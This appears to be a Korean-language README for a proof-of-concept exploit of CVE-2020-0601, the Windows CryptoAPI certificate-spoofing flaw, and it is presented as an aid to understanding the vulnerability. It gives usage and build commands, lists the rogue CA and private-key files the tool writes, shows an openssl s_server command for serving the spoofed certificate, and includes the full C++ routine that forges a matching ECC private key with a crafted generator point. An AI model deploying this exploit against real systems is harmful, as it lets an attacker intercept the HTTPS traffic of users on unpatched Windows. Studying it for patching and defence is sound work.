
CVE-2020-0601(Windows CryptoAPI 스푸핑)용 개념 증명 익스플로잇으로, HTTPS 트래픽을 가로채기 위해 악성 CA 인증서를 생성하며, 타원 곡선 공격을 설명하는 상세 소스 코드가 포함되어 있습니다.
이 도구의 소스 코드는 Windows Crypto API에서 발견된 CVE-2020-0601 취약점을 이해하는 데 도움을 주기 위한 것입니다. CERT의 개요를 참조하세요.
이 도구 자체는 악성 인증 기관(CA)이 서명한 임의 도메인용 인증서를 생성하는 데 사용할 수 있습니다. 이 도구는 명령줄에서 제공된 공개 키와 동일한 공개 키를 가진 악성 CA를 생성합니다.
취약한 Windows 빌드의 웹 브라우저가 이 인증서를 대상으로 하면 신뢰할 수 있는 인증서로 간주됩니다. 따라서 적절한 위치에 있는 네트워크 기반 공격자가 피해자의 트래픽을 가로챌 수 있습니다.
신뢰할 수 있는 Windows 인증서의 경로를 제공하여 도구를 실행합니다:
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt
위 예에서는 USERTrust ECC Certification Authority가 다음 공개 키와 함께 사용되었습니다:
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79
이 도구는 현재 작업 디렉터리에 여러 인증서와 키를 저장합니다:
test-cve_evil-ca.crt -- evil CA
test-cve_evil-privkey.key -- evil CA's private key in PEM format
test-cve_evil-privkey-pk8.key -- evil CA's private key in PKCS#8 format
test-cve_host-cert.crt -- target host's certificate (example.com by default)
test-cve_host-privkey.key -- target host's private key (example.com by default)
인증서를 테스트하려면 openssl s_server를 다음과 같이 실행하고 취약한 Windows 상자에서 https://example.com/ 요청을 해당 서버로 리디렉션하세요:
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443
원래 인증서가 캐시되어 있는지 확인하세요!
결과는 다음과 같아야 합니다:

cmake는 이 도구를 빌드하기 위한 메이크파일을 생성하는 데 사용됩니다. 의존성으로 다음 라이브러리가 필요합니다:
빌드:
mkdir build
cd build
cmake ..
make
포괄적인(상대적으로) 설명은 추후 Gremwell의 웹사이트에 추가될 예정입니다.
main.cpp 파일을 살펴보는 것부터 시작하세요. 이 파일은 중요하지만 취약점 자체와는 관련이 없는 다양한 OpenSSL 래퍼를 호출합니다. 가장 흥미로운 부분은 cve-2020-0601_poc.cpp 파일에 있습니다:
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
bool doSave, const char *evilPrivKeyFileName)
{
// load public key of the provided certificate into native CryptoPP type
DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
caPubKeyRawLen, true).Ref());
// generate a private key using the same curve as in the provided CA certificate
CryptoPP::AutoSeededRandomPool prng;
DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());
// get the private key elliptic curve parameters
CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();
// calculate an inverse value of the private key
CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
// produce our custom generator (base point) as a multiplication of the inverse value of our private key
// and the public key of the provided CA certificate
ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);
// create an "evil" private key object using the base private's key exponent and curve but
// with our "evil" generator (base point)
DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);
// convert evil private key into PKCS8 format
CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
*outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();
if (doSave) {
// save it as-is so this can be imported by some tools
evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
}
// the code below converts the key to DER format
// however, as we have here our custom curve (not the "named" one), most of the
// tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
*outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif
return true;
}
여기서 주석은 꽤 자명할 것입니다. :-)
kudelskisecurity 블로그 및 거기에 언급된 참고 자료에 감사드립니다.